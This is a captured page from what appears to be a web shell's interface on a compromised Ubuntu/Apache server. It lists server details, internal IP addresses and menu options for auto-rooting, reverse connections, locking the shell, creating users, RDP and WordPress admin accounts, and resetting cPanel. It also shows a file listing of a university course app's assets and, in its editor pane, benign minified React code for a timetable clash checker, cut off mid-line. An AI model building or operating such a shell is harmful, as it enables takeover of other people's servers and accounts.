Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
coursewise /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
AcademicTools-tj30wEj0.js
7.55
KB
-rwxr-xr-x
AcademicTools-tj30wEj0.js.map
14.63
KB
-rwxr-xr-x
AddCourse-BTNu-pnI.js
10.08
KB
-rwxr-xr-x
AddCourse-BTNu-pnI.js.map
35.84
KB
-rwxr-xr-x
AdminFeedbackManagement-DsTd1C...
13.52
KB
-rwxr-xr-x
AdminFeedbackManagement-DsTd1C...
45.25
KB
-rwxr-xr-x
CourseReviews-CLlzbLuT.js
27.45
KB
-rwxr-xr-x
CourseReviews-CLlzbLuT.js.map
112.09
KB
-rwxr-xr-x
Dewan-B5d13VSK.png
819.07
KB
-rwxr-xr-x
Dewan-Bniqtmij.js
102
B
-rwxr-xr-x
Dewan-Bniqtmij.js.map
197
B
-rwxr-xr-x
EditCourse-DeWQqcol.js
9.65
KB
-rwxr-xr-x
EditCourse-DeWQqcol.js.map
34.87
KB
-rwxr-xr-x
MyCourses-BA9wctPB.js
8.48
KB
-rwxr-xr-x
MyCourses-BA9wctPB.js.map
31.95
KB
-rwxr-xr-x
Rajput-BnxWGXCy.js
104
B
-rwxr-xr-x
Rajput-BnxWGXCy.js.map
200
B
-rwxr-xr-x
Rajput-CE3gMniE.png
908.11
KB
-rwxr-xr-x
Settings-BGf6-NRc.js
2.09
KB
-rwxr-xr-x
Settings-BGf6-NRc.js.map
5.35
KB
-rwxr-xr-x
TimetableClashChecker-gskbNvYE...
32.74
KB
-rwxr-xr-x
TimetableClashChecker-gskbNvYE...
137.78
KB
-rwxr-xr-x
UserManagement-pl4YxOXe.js
2.17
KB
-rwxr-xr-x
UserManagement-pl4YxOXe.js.map
5.49
KB
-rwxr-xr-x
academic-components-DF0R8Z3x.j...
670.84
KB
-rwxr-xr-x
academic-components-DF0R8Z3x.j...
1.87
MB
-rwxr-xr-x
admin-components-DUStTukf.js
1.36
MB
-rwxr-xr-x
admin-components-DUStTukf.js.m...
5.5
MB
-rwxr-xr-x
apple-touch-icon-CvbJoadU.png
20.94
KB
-rwxr-xr-x
browser-DyVnc2OH.js
392
B
-rwxr-xr-x
browser-DyVnc2OH.js.map
404
B
-rwxr-xr-x
favicon-16x16-CXk8OJVQ.png
734
B
-rwxr-xr-x
favicon-32x32-BMg2Kocu.png
1.78
KB
-rwxr-xr-x
favicon-hhFM0i7Z.ico
15.04
KB
-rwxr-xr-x
geminiService-khxcBfs7.js
2.36
KB
-rwxr-xr-x
geminiService-khxcBfs7.js.map
6.73
KB
-rwxr-xr-x
index-BbxTXAhJ.css
45.32
KB
-rwxr-xr-x
index-DN1SJQ1D.js
73.27
KB
-rwxr-xr-x
index-DN1SJQ1D.js.map
215.58
KB
-rwxr-xr-x
index.es-B3idowhG.js
155.35
KB
-rwxr-xr-x
index.es-B3idowhG.js.map
624.87
KB
-rwxr-xr-x
kunal-UYflGF6w.jpg
9.22
MB
-rwxr-xr-x
kunal-ozIpZZVI.js
102
B
-rwxr-xr-x
kunal-ozIpZZVI.js.map
197
B
-rwxr-xr-x
pdf-vendor-Bz5wMm03.js
317.87
KB
-rwxr-xr-x
pdf-vendor-Bz5wMm03.js.map
976.2
KB
-rwxr-xr-x
purify.es-CQJ0hv7W.js
21.35
KB
-rwxr-xr-x
purify.es-CQJ0hv7W.js.map
88.01
KB
-rwxr-xr-x
react-vendor-BFYHlx6n.js
160.29
KB
-rwxr-xr-x
react-vendor-BFYHlx6n.js.map
687.16
KB
-rwxr-xr-x
sarthak-CfXTejkX.png
764.15
KB
-rwxr-xr-x
sarthak-Cq6ZcrGb.js
106
B
-rwxr-xr-x
sarthak-Cq6ZcrGb.js.map
203
B
-rwxr-xr-x
site-BwHFeIBa.webmanifest
263
B
-rwxr-xr-x
supabase-vendor-DtZyL83W.js
105.45
KB
-rwxr-xr-x
supabase-vendor-DtZyL83W.js.ma...
449.41
KB
-rwxr-xr-x
ui-vendor-DSJ4jbeb.js
44.26
KB
-rwxr-xr-x
ui-vendor-DSJ4jbeb.js.map
190.96
KB
-rwxr-xr-x
useToast-Bg1woyD1.js
414
B
-rwxr-xr-x
useToast-Bg1woyD1.js.map
1.83
KB
-rwxr-xr-x
xlsx-vendor-D_ykzFJ-.js
276.48
KB
-rwxr-xr-x
xlsx-vendor-D_ykzFJ-.js.map
1.37
MB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TimetableClashChecker-gskbNvYE.js
import{E as Be,u as js,s as R,j as e,B as a,F as x,H as N,T as c,L as A,a as w,N as F,O as K,P as Z,S as ee,g as pe,h as xe,Q as ge,R as De,o as Le,V as H,k as fe,D as se,I as bs,U as Oe,W as Ae,X as Fe,Y as Me,Z as qe,a0 as Pe,$ as Ue,a1 as Ve,f as Cs,G as je,a2 as Ye,a3 as He,a4 as Xe,a5 as Ge,a6 as Je}from"./admin-components-DUStTukf.js";import{r as p,u as Ss,d as Qe}from"./react-vendor-BFYHlx6n.js";import{u as ys,N as _s}from"./academic-components-DF0R8Z3x.js";import{c as B,e as be,f as Ce,X as ws,a9 as zs,a1 as Se,aa as vs,i as Ke,ab as $s,g as Ze}from"./ui-vendor-DSJ4jbeb.js";import"./supabase-vendor-DtZyL83W.js";import"./pdf-vendor-Bz5wMm03.js";import"./xlsx-vendor-D_ykzFJ-.js";const q=_=>{if(!_)return 0;const[E,y]=_.split(":").map(Number);return E*60+y},es=_=>{const E=[];for(let y=0;y<_.length;y++){const k=_[y],u=[];if(!k.schedule||k.schedule.length===0){E.push({courseId:k.uuid,hasClash:!1,clashingWith:[]});continue}for(let T=0;T<_.length;T++){if(y===T)continue;const v=_[T];if(!(!v.schedule||v.schedule.length===0)){for(const D of k.schedule)for(const P of v.schedule)if(D.day===P.day){const re=q(D.start_time),te=q(D.end_time),U=q(P.start_time),X=q(P.end_time);re<X&&te>U&&(u.includes(v.uuid)||u.push(v.uuid))}}}E.push({courseId:k.uuid,hasClash:u.length>0,clashingWith:u})}return E},M=["blue.400","green.400","purple.400","pink.400","orange.400","teal.400","cyan.400","yellow.400","red.400","indigo.400"],Ls=()=>{const[_,E]=p.useState([]),[y,k]=p.useState([]),[u,T]=p.useState([]),[v,D]=p.useState([]),[P,re]=p.useState([]),[te,U]=p.useState(!0),[X,oe]=p.useState(!1),[z,ne]=p.useState({}),[f,ye]=p.useState({search:"",semester:"",department:"",credits:"",sortBy:"name",sortOrder:"asc"}),[ie,ks]=p.useState("streams"),{isOpen:ss,onOpen:rs,onClose:_e}=Be(),{isOpen:ts,onOpen:we,onClose:ze}=Be(),[h,os]=p.useState(null),[g,ve]=p.useState(0),[L,$e]=p.useState(0),[$,le]=p.useState(20),[ke,Te]=p.useState(!1),[ns,G]=p.useState(!1),O=8,b=12,We=[20,22,24],Ie=Ss(),C=js(),{session:J}=ys();p.useEffect(()=>{ls(),as()},[]);const is=()=>{if(!_){k([]);return}let s=[..._];if(f.search){const r=f.search.toLowerCase();s=s.filter(t=>t.course_name.toLowerCase().includes(r)||t.course_code.toLowerCase().includes(r)||t.course_acronym&&t.course_acronym.toLowerCase().includes(r)||t.professor_allocated&&t.professor_allocated.toLowerCase().includes(r))}f.semester&&(s=s.filter(r=>r.semester===parseInt(f.semester))),f.department&&(s=s.filter(r=>r.department&&r.department.dept_name===f.department)),f.credits&&(s=s.filter(r=>r.credits===parseInt(f.credits))),s=s.sort((r,t)=>f.sortBy==="name"?f.sortOrder==="asc"?r.course_name.localeCompare(t.course_name):t.course_name.localeCompare(r.course_name):f.sortBy==="code"?f.sortOrder==="asc"?r.course_code.localeCompare(t.course_code):t.course_code.localeCompare(r.course_code):f.sortBy==="credits"?f.sortOrder==="asc"?r.credits-t.credits:t.credits-r.credits:0),k(s)};p.useEffect(()=>{is()},[_,f]),p.useEffect(()=>{if(u.length>0){const s=u.reduce((t,l)=>t+l.credits,0);ve(s),$e(u.length);const r=es(u);D(r)}else ve(0),$e(0),D([])},[u]);const ls=async()=>{try{U(!0),console.log("Fetching courses..."),console.log("Attempting to connect to Supabase...");const s="courses_iiitd";console.log(`Attempting to fetch data from table: ${s}`);const{data:r,error:t}=await R.from(s).select("*");if(console.log("Query result:",r?"Data received":"No data","Error:",t),t)throw console.error(`Error accessing ${s}:`,t),console.error(`Error details: ${JSON.stringify(t)}`),oe(!0),new Error(`Error accessing ${s}: ${t.message}`);if(console.log(`Data from ${s}:`,r?.length||0,"courses"),!r||r.length===0){console.log(`No data found in ${s} table`),oe(!0),C({title:"No courses found in database",description:"Please upload courses using the Admin Dashboard or contact the system administrator.",status:"warning",duration:1e4,isClosable:!0}),U(!1);return}const{data:l,error:o}=await R.from("departments_iiitd").select("uuid, dept_name, dept_acronym");console.log("Departments data received:",l?.length||0,"departments"),o&&console.error("Error fetching departments:",o);const n=r.map(i=>{const d=l?.find(S=>S.dept_acronym===i.dept_acronym);let m=[];if(i.schedule)try{m=typeof i.schedule=="string"?JSON.parse(i.schedule):i.schedule}catch(S){console.error("Error parsing schedule for course",i.course_code,S)}return{...i,prerequisites:i.prerequisites?i.prerequisites.split("/").filter(Boolean):[],antirequisites:i.antirequisites?i.antirequisites.split("/").filter(Boolean):[],schedule:m,department:d?{uuid:d.uuid,dept_name:d.dept_name,dept_acronym:d.dept_acronym}:null}})||[];if(console.log("Processed courses:",n.length),E(n),console.log("Courses state updated"),l){const i=l.map(d=>d.dept_name).filter(Boolean);console.log("Setting departments:",i),re(i)}}catch(s){console.error("Error fetching courses:",s),C({title:"Error fetching courses",description:s.message,status:"error",duration:3e3,isClosable:!0}),oe(!0)}finally{U(!1)}},as=async()=>{if(J?.user?.id)try{const{data:s,error:r}=await R.from("users").select("current_semester_courses").eq("id",J.user.id).single();if(r)throw r;const t=s?.current_semester_courses;if(t&&t.courses&&t.courses.length>0){const l=[],o="courses_iiitd";console.log(`Using ${o} for current semester selections`);for(const n of t.courses){const i=n.course_uuid||n.course_acronym;try{let{data:d}=await R.from(o).select("*").eq("course_code",n.course_acronym).maybeSingle();if(!d&&n.course_uuid)try{const{data:m}=await R.from(o).select("*").eq("uuid",n.course_uuid).maybeSingle();m&&(d=m)}catch{console.log(`UUID format error for ${n.course_uuid}, skipping course`)}if(d){if(d.dept_acronym){const{data:S}=await R.from("departments_iiitd").select("uuid, dept_name, dept_acronym").eq("dept_acronym",d.dept_acronym).maybeSingle();S&&(d.department={uuid:S.uuid,dept_name:S.dept_name,dept_acronym:S.dept_acronym})}const m=cs(d);m&&l.push(m)}}catch(d){console.error(`Error fetching course ${i}:`,d)}}if(l.length>0){T(l),le(t.credit_limit||20),G(!0);const n={};l.forEach((i,d)=>{n[i.uuid]=M[d%M.length]}),ne(n),C({title:"Current semester courses loaded",description:`Loaded ${l.length} courses from your current semester`,status:"info",duration:3e3,isClosable:!0})}}}catch(s){console.error("Error loading current semester selections:",s)}},cs=s=>{if(!s)return null;try{let r=[];if(s.schedule)try{r=typeof s.schedule=="string"?JSON.parse(s.schedule):s.schedule}catch(n){console.error("Error parsing schedule:",n),r=[]}const t=s.prerequisites?s.prerequisites.split("/").filter(Boolean):[],l=s.antirequisites?s.antirequisites.split("/").filter(Boolean):[];let o=null;return s.departments_iiitd?o={uuid:s.departments_iiitd.uuid,dept_name:s.departments_iiitd.dept_name,dept_acronym:s.departments_iiitd.dept_acronym}:s.dept_acronym&&(o={uuid:"",dept_name:s.dept_acronym,dept_acronym:s.dept_acronym}),{uuid:s.uuid,course_code:s.course_code,course_name:s.course_name,credits:s.credits,semester:s.semester,semester_type:s.semester_type,description:s.description,professor_allocated:s.professor_allocated,dept_acronym:s.dept_acronym,prerequisites:t,antirequisites:l,schedule:r,department:o,course_acronym:s.course_acronym}}catch(r){return console.error("Error processing course data:",r),null}},ae=(s,r)=>{ye(t=>({...t,[s]:r}))},Q=s=>{if(u.some(t=>t.uuid===s.uuid))T(t=>t.filter(l=>l.uuid!==s.uuid)),ne(t=>{const l={...t};return delete l[s.uuid],l}),G(!1),C({title:"Course removed",description:`${s.course_code} has been removed from your selection`,status:"info",duration:2e3,isClosable:!0});else{const t=u.length+1,l=g+s.credits;if(t>O){C({title:"Course limit exceeded",description:`You can select a maximum of ${O} courses per semester.`,status:"warning",duration:3e3,isClosable:!0});return}if(l>$){C({title:"Credit limit exceeded",description:`You can select a maximum of ${$} credits per semester.`,status:"warning",duration:3e3,isClosable:!0});return}const o=[...u,s],i=es(o).find(m=>m.courseId===s.uuid);if(i?.hasClash||!1){const m=i?.clashingWith.map(S=>u.find(I=>I.uuid===S)?.course_code).filter(Boolean).join(", ");C({title:"Schedule Conflict Detected",description:`${s.course_code} clashes with ${m}. Please select a different course.`,status:"warning",duration:4e3,isClosable:!0})}else T(m=>[...m,s]),ne(m=>{const S=Object.keys(m).length%M.length;return{...m,[s.uuid]:M[S]}}),G(!1),C({title:"Course selected",description:`${s.course_code} has been added to your selection`,status:"success",duration:2e3,isClosable:!0})}},ce=s=>{os(s),rs()},ds=s=>u.find(r=>r.uuid===s),Ne=s=>v.find(r=>r.courseId===s),Ee=async()=>{if(!J?.user?.id){C({title:"Authentication required",description:"Please log in to save courses",status:"error",duration:3e3,isClosable:!0});return}if(u.length===0){C({title:"No courses selected",description:"Please select courses before saving",status:"warning",duration:3e3,isClosable:!0});return}if(V){C({title:"Cannot save courses with clashes",description:"Please resolve all timetable conflicts before saving",status:"error",duration:3e3,isClosable:!0});return}if(g<b){C({title:"Minimum credit requirement not met",description:`You need at least ${b} credits. Currently selected: ${g} credits`,status:"warning",duration:4e3,isClosable:!0});return}Te(!0);try{const r={courses:u.map(l=>({course_id:l.uuid,course_code:l.course_code,course_name:l.course_name,credits:l.credits,schedule:l.schedule,enrollment_date:new Date().toISOString()})),total_credits:g,total_courses:L,credit_limit:$,last_updated:new Date().toISOString(),clash_checked:!0},{error:t}=await R.from("users").update({current_semester_courses:r}).eq("id",J.user.id);if(t)throw t;C({title:"Courses saved successfully!",description:`${L} courses (${g} credits) saved to current semester`,status:"success",duration:4e3,isClosable:!0}),G(!0)}catch(s){console.error("Error saving courses:",s),C({title:"Error saving courses",description:s.message,status:"error",duration:3e3,isClosable:!0})}finally{Te(!1)}},V=p.useMemo(()=>v.some(s=>s.hasClash),[v]),us=s=>{const r=u[s];return z[r.uuid]||M[s%M.length]},ms=()=>"purple",de=p.useMemo(()=>{const s={};return y.forEach(r=>{const t=r.department?.dept_name||"Uncategorized";s[t]||(s[t]=[]),s[t].push(r)}),s},[y]),Re=p.useMemo(()=>{const s={};return y.forEach(r=>{const t=String(r.semester||0);s[t]||(s[t]=[]),s[t].push(r)}),Object.entries(s).sort(([r],[t])=>parseInt(r)-parseInt(t)).map(([r,t])=>({semester:parseInt(r),courses:t}))},[y]),j=p.useMemo(()=>{const s=["Monday","Tuesday","Wednesday","Thursday","Friday"],r=[];for(let n=8;n<=20;n++)r.push(`${n}:00`),n<20&&r.push(`${n}:30`);const t={},l={},o={};return s.forEach(n=>{t[n]=[],l[n]={},o[n]={},r.forEach((i,d)=>{l[n][i]=[],o[n][d]=!1})}),u.forEach(n=>{n.schedule&&n.schedule.forEach(i=>{const d=i.day;if(!s.includes(d))return;const m=q(i.start_time),S=q(i.end_time),W=[];for(let I=0;I<r.length;I++){const[me,he]=r[I].split(":").map(Number),Y=me*60+he,xs=Y+30,gs=m<xs,fs=S>Y;gs&&fs&&W.push(I)}if(W.length>0){const I=W[0],me=W[W.length-1],he=W.length;t[d].push({course:n,startSlotIndex:I,endSlotIndex:me,duration:he}),W.forEach(Y=>{o[d][Y]=!0,l[d][r[Y]].push(n)})}})}),{days:s,timeSlots:r,grid:l,courseBlocks:t,occupied:o}},[u]),hs=s=>u.some(r=>r.uuid===s)&&z[s]!==void 0,ue=({course:s})=>{const r=u.some(d=>d.uuid===s.uuid),t=hs(s.uuid),o=(r?Ne(s.uuid):void 0)?.hasClash||!1,n=r?o?"red":z[s.uuid]?.split(".")[0]||"green":null,i=ms();return e.jsxs(a,{className:"bg-white rounded-xl shadow-md hover:shadow-lg transition-all duration-300 overflow-hidden border border-gray-100 relative",borderColor:r?o?"red.300":z[s.uuid]||"green.300":`${i}.200`,borderLeftWidth:r?"4px":"1px",borderWidth:r?"2px":"1px",transition:"all 0.2s",_hover:{transform:"translateY(-2px)",boxShadow:"md"},children:[e.jsx(a,{h:"6px",w:"100%",bg:r?o?"red.400":z[s.uuid]||"green.400":`linear-gradient(to right, var(--chakra-colors-${i}-400), var(--chakra-colors-${i}-500))`}),e.jsxs(a,{p:5,children:[e.jsxs(x,{justifyContent:"space-between",alignItems:"flex-start",mb:3,children:[e.jsxs(a,{children:[e.jsxs(se,{colorScheme:r?o?"red":n||"green":i,rounded:"full",px:2,py:.5,fontSize:"xs",children:["Semester ",s.semester]}),e.jsxs(se,{ml:2,colorScheme:r?o?"red":n||"green":i,variant:"subtle",rounded:"full",px:2,py:.5,fontSize:"xs",children:[s.credits," credit",s.credits!==1?"s":""]}),t&&e.jsx(se,{ml:2,colorScheme:"purple",variant:"solid",rounded:"full",px:2,py:.5,fontSize:"xs",children:"Current"})]}),e.jsx(fe,{"aria-label":r?"Remove from selection":"Add to selection",icon:r?o?e.jsx(Ze,{size:18}):e.jsx(Ce,{size:18}):e.jsx(B,{size:18}),size:"sm",colorScheme:r?o?"red":n||"green":i,variant:r?"solid":"outline",onClick:d=>{d.stopPropagation(),Q(s)}})]}),e.jsx(N,{size:"md",mb:1,noOfLines:1,title:s.course_name,color:r?o?"red.700":`${n}.700`||"green.700":`${i}.700`,children:s.course_name}),e.jsx(c,{fontSize:"sm",color:r?o?"red.500":`${n}.500`||"green.500":`${i}.500`,fontFamily:"mono",mb:4,children:s.course_code}),e.jsx(c,{fontSize:"sm",color:"gray.600",noOfLines:2,mb:4,title:s.description||"No description available",children:s.description||"No description available"}),e.jsxs(A,{spacing:4,mb:4,children:[s.professor_allocated&&e.jsxs(x,{align:"center",gap:1.5,children:[e.jsx(Ke,{size:14,className:r?o?"text-red-400":`text-${n}-400`||"text-green-400":`text-${i}-400`}),e.jsx(c,{fontSize:"xs",color:"gray.600",children:s.schedule&&s.schedule.length>0?`${s.schedule.length} schedule slot${s.schedule.length!==1?"s":""}`:"No schedule"})]}),s.department?.dept_name&&e.jsxs(x,{align:"center",gap:1.5,children:[e.jsx(be,{size:14,className:r?o?"text-red-400":`text-${n}-400`||"text-green-400":`text-${i}-400`}),e.jsx(c,{fontSize:"xs",color:"gray.600",children:s.professor_allocated||"No professor assigned"})]})]}),r&&o&&e.jsxs(pe,{status:"error",variant:"left-accent",mb:4,py:2,fontSize:"xs",children:[e.jsx(xe,{boxSize:4}),e.jsx(ge,{fontSize:"xs",mr:1,children:"Timetable clash detected!"})]}),e.jsx(Pe,{mb:4}),e.jsx(w,{size:"sm",width:"full",colorScheme:r?o?"red":n||"purple":i,variant:"outline",onClick:()=>ce(s),children:"View Details"})]})]})},ps=()=>te?e.jsx(x,{justifyContent:"center",py:10,children:e.jsx(Cs,{size:"xl",color:"purple.500"})}):X?e.jsxs(x,{direction:"column",align:"center",justify:"center",bg:"white",rounded:"xl",shadow:"md",p:8,mt:4,children:[e.jsx(a,{p:4,bg:"purple.50",rounded:"full",mb:4,children:e.jsx(Se,{size:40,className:"text-purple-400"})}),e.jsx(N,{size:"md",mb:4,color:"gray.700",children:"No Courses Found in Database"}),e.jsx(c,{color:"gray.500",textAlign:"center",mb:4,children:"It appears there are no courses in the database yet."}),e.jsxs(a,{bg:"blue.50",p:4,borderRadius:"md",mb:6,maxW:"600px",textAlign:"left",children:[e.jsx(N,{size:"sm",mb:2,color:"blue.700",children:"Administrator Instructions:"}),e.jsx(c,{fontSize:"sm",color:"gray.700",mb:2,children:'1. There is a CSV file named "iiitd_final_courses.csv" in the project root directory.'}),e.jsxs(c,{fontSize:"sm",color:"gray.700",mb:2,children:["2. Go to Admin Dashboard ",">"," Bulk Course Upload."]}),e.jsx(c,{fontSize:"sm",color:"gray.700",children:"3. Upload the CSV file to populate the course database."})]}),e.jsx(w,{colorScheme:"purple",leftIcon:e.jsx(Ze,{size:16}),onClick:()=>Ie("/admin/bulk-upload"),size:"md",children:"Go to Admin Dashboard"})]}):y.length===0?e.jsxs(x,{direction:"column",align:"center",justify:"center",bg:"white",rounded:"xl",shadow:"md",p:8,mt:4,children:[e.jsx(a,{p:4,bg:"purple.50",rounded:"full",mb:4,children:e.jsx(Se,{size:40,className:"text-purple-400"})}),e.jsx(N,{size:"md",mb:2,color:"gray.700",children:"No courses found"}),e.jsx(c,{color:"gray.500",textAlign:"center",children:"Try adjusting your search filters to find more courses"})]}):e.jsxs(a,{children:[ie==="list"&&e.jsx(je,{templateColumns:{base:"repeat(1, 1fr)",md:"repeat(2, 1fr)",lg:"repeat(3, 1fr)"},gap:6,children:y.map(s=>e.jsx(ue,{course:s},s.uuid))}),ie==="streams"&&e.jsxs(Ye,{variant:"soft-rounded",colorScheme:"purple",isLazy:!0,children:[e.jsx(He,{overflowX:"auto",py:2,className:"flex-nowrap whitespace-nowrap",children:Object.keys(de).map(s=>e.jsxs(Xe,{px:4,children:[s," (",de[s].length,")"]},s))}),e.jsx(Ge,{children:Object.entries(de).map(([s,r])=>e.jsx(Je,{px:0,children:e.jsx(je,{templateColumns:{base:"repeat(1, 1fr)",md:"repeat(2, 1fr)",lg:"repeat(3, 1fr)"},gap:6,children:r.map(t=>e.jsx(ue,{course:t},t.uuid))})},s))})]}),ie==="semesters"&&e.jsxs(Ye,{variant:"soft-rounded",colorScheme:"purple",isLazy:!0,children:[e.jsx(He,{overflowX:"auto",py:2,className:"flex-nowrap whitespace-nowrap",children:Re.map(({semester:s,courses:r})=>e.jsxs(Xe,{px:4,children:["Semester ",s," (",r.length,")"]},s))}),e.jsx(Ge,{children:Re.map(({semester:s,courses:r})=>e.jsx(Je,{px:0,children:e.jsx(je,{templateColumns:{base:"repeat(1, 1fr)",md:"repeat(2, 1fr)",lg:"repeat(3, 1fr)"},gap:6,children:r.map(t=>e.jsx(ue,{course:t},t.uuid))})},s))})]})]});return e.jsxs(e.Fragment,{children:[e.jsx(_s,{}),e.jsx(a,{className:"min-h-screen bg-gradient-to-br from-indigo-50 to-purple-50 pb-16",children:e.jsx(a,{maxW:"1200px",margin:"0 auto",p:[4,6,8],children:e.jsxs(x,{direction:"column",gap:6,children:[e.jsx(a,{className:"bg-gradient-to-r from-indigo-600 to-purple-600 rounded-xl shadow-xl p-8 text-white",children:e.jsxs(x,{direction:["column","row"],alignItems:"center",gap:4,position:"relative",children:[e.jsx(a,{className:"bg-white/20 p-4 rounded-full backdrop-blur-sm",children:e.jsx(B,{size:40})}),e.jsxs(a,{children:[e.jsx(N,{size:"xl",children:"Timetable Clash Checker"}),e.jsx(c,{fontSize:"lg",mt:2,opacity:.9,children:"Select multiple courses to check for scheduling conflicts"})]}),e.jsxs(A,{spacing:2,position:["static","absolute"],right:4,top:4,mt:[4,0],ml:["auto",0],children:[u.length>0&&e.jsx(w,{leftIcon:e.jsx(B,{size:16}),colorScheme:"white",variant:"outline",onClick:we,size:"sm",children:"View Timetable"}),e.jsx(w,{leftIcon:e.jsx(a,{as:"span",className:"rotate-180 inline-block",children:e.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",className:"h-5 w-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:e.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M10 19l-7-7m0 0l7-7m-7 7h18"})})}),colorScheme:"white",variant:"outline",onClick:()=>Ie("/academic-tools"),size:"sm",children:"Back to Academic Tools"})]})]})}),u.length>0&&e.jsxs(a,{className:"bg-white rounded-xl shadow-lg p-6",children:[e.jsxs(x,{justifyContent:"space-between",alignItems:"center",mb:4,children:[e.jsx(N,{size:"md",children:"Selected Courses"}),e.jsxs(A,{spacing:3,children:[e.jsxs(F,{size:"md",colorScheme:L>=O?"orange":"purple",variant:"subtle",children:[e.jsx(K,{as:B}),e.jsxs(Z,{fontWeight:"bold",children:[L,"/",O," Courses"]})]}),e.jsxs(F,{size:"md",colorScheme:g<b?"red":g>=$?"orange":"blue",variant:"subtle",children:[e.jsx(K,{boxSize:3,as:be}),e.jsxs(Z,{fontWeight:"bold",children:[g,"/",$," Credits",g<b&&` (Min: ${b})`]})]}),e.jsx(ee,{size:"sm",value:$,onChange:s=>le(Number(s.target.value)),width:"100px",children:We.map(s=>e.jsxs("option",{value:s,children:[s," Credits"]},s))})]})]}),V?e.jsxs(pe,{status:"error",mb:4,children:[e.jsx(xe,{}),e.jsx(ge,{children:"Schedule conflicts detected!"}),e.jsx(De,{children:"Some of your selected courses have time clashes. Check the details below."})]}):e.jsxs(pe,{status:"success",mb:4,children:[e.jsx(xe,{}),e.jsx(ge,{children:"No conflicts detected!"}),e.jsx(De,{children:"Your selected courses don't have any schedule conflicts."})]}),u.length>0&&!V&&e.jsx(x,{justifyContent:"center",mb:4,children:e.jsxs(w,{colorScheme:g>=b?"green":"gray",size:"lg",leftIcon:e.jsx(Ce,{size:20}),onClick:Ee,isLoading:ke,loadingText:"Saving courses...",disabled:V||g<b,children:[ns?"Update Current Semester":"Save to Current Semester",g<b&&` (Need ${b-g} more credits)`]})}),e.jsx(Le,{columns:{base:1,md:2},spacing:4,mb:6,children:u.map(s=>{const r=Ne(s.uuid),t=r?.hasClash||!1,l=z[s.uuid]||"green.400",o=t?"red":l.split(".")[0];return e.jsx(a,{p:4,borderWidth:"1px",borderColor:t?"red.300":`${l}`,bg:t?"red.50":`${o}.50`,borderLeft:`4px solid ${t?"red.400":l}`,rounded:"md",position:"relative",transition:"all 0.2s",boxShadow:"sm",_hover:{boxShadow:"md",bg:t?"red.100":`${o}.100`},children:e.jsxs(x,{justify:"space-between",align:"flex-start",children:[e.jsxs(a,{children:[e.jsxs(N,{size:"sm",mb:1,color:t?"red.700":`${o}.700`,children:[s.course_code,": ",s.course_name]}),s.schedule&&s.schedule.length>0?e.jsx(H,{align:"start",spacing:1,mt:2,children:s.schedule.map((n,i)=>e.jsxs(c,{fontSize:"xs",children:[n.day,", ",n.start_time," -"," ",n.end_time]},i))}):e.jsx(c,{fontSize:"xs",color:"gray.500",children:"No schedule information available"}),t&&e.jsxs(a,{mt:3,children:[e.jsx(c,{fontSize:"sm",color:"red.600",fontWeight:"bold",children:"Clashes with:"}),e.jsx(H,{align:"start",spacing:1,mt:1,children:r?.clashingWith.map(n=>{const i=ds(n);return i?e.jsxs(c,{fontSize:"xs",children:[i.course_code,":"," ",i.course_name]},n):null})})]})]}),e.jsx(fe,{"aria-label":"Remove course",icon:e.jsx(ws,{size:14}),size:"sm",colorScheme:t?"red":o,variant:"ghost",onClick:()=>Q(s)})]})},s.uuid)})}),e.jsx(H,{spacing:2,align:"stretch",mb:4,children:u.map((s,r)=>{const t=us(r),l=t.split(".")[0];return e.jsxs(x,{p:2,justify:"space-between",align:"center",borderRadius:"md",borderLeft:`4px solid ${t}`,bg:`${l}.50`,boxShadow:"sm",transition:"all 0.2s",_hover:{boxShadow:"md",bg:`${l}.100`},children:[e.jsxs(a,{children:[e.jsxs(x,{align:"center",children:[e.jsx(c,{fontWeight:"bold",fontSize:"sm",color:`${l}.700`,children:s.course_code}),e.jsxs(se,{ml:2,colorScheme:l,size:"sm",children:[s.credits," Credits"]})]}),e.jsx(c,{fontSize:"xs",noOfLines:1,children:s.course_name})]}),e.jsx(fe,{"aria-label":"Remove course",icon:e.jsx(zs,{}),colorScheme:l,size:"xs",onClick:()=>Q(s)})]},`course-card-${s.course_code}`)})}),e.jsxs(a,{mb:6,children:[e.jsxs(x,{justifyContent:"space-between",alignItems:"center",mb:4,children:[e.jsx(N,{size:"md",children:"Timetable Visualization"}),e.jsx(A,{children:e.jsx(w,{size:"sm",leftIcon:e.jsx(B,{size:14}),colorScheme:"purple",onClick:we,variant:"outline",children:"View Full Timetable"})})]}),e.jsx(a,{maxHeight:"400px",overflowY:"auto",overflowX:"auto",borderWidth:"1px",borderColor:"gray.200",borderRadius:"md",children:e.jsxs(a,{display:"grid",gridTemplateColumns:`100px repeat(${j.timeSlots.length}, 80px)`,gridTemplateRows:`40px repeat(${j.days.length}, 60px)`,minW:"1400px",bg:"white",gap:"1px",children:[e.jsx(a,{bg:"gray.50",border:"1px solid",borderColor:"gray.200",display:"flex",alignItems:"center",justifyContent:"center",fontWeight:"bold",fontSize:"sm",children:"Day / Time"}),j.timeSlots.map(s=>e.jsx(a,{bg:"gray.50",border:"1px solid",borderColor:"gray.200",display:"flex",alignItems:"center",justifyContent:"center",fontWeight:"medium",fontSize:"xs",textAlign:"center",children:s},s)),j.days.map((s,r)=>e.jsxs(Qe.Fragment,{children:[e.jsx(a,{bg:"gray.50",border:"1px solid",borderColor:"gray.200",display:"flex",alignItems:"center",justifyContent:"center",fontWeight:"bold",fontSize:"sm",children:s}),j.timeSlots.map((t,l)=>{const o=j.courseBlocks[s].find(n=>n.startSlotIndex===l);if(o){const n=z[o.course.uuid]||"green.400",i=n.split(".")[0],d=j.grid[s][t].length>1;return e.jsx(a,{gridColumnStart:l+2,gridColumnEnd:l+2+o.duration,gridRow:r+2,bg:d?"red.100":`${i}.100`,border:"2px 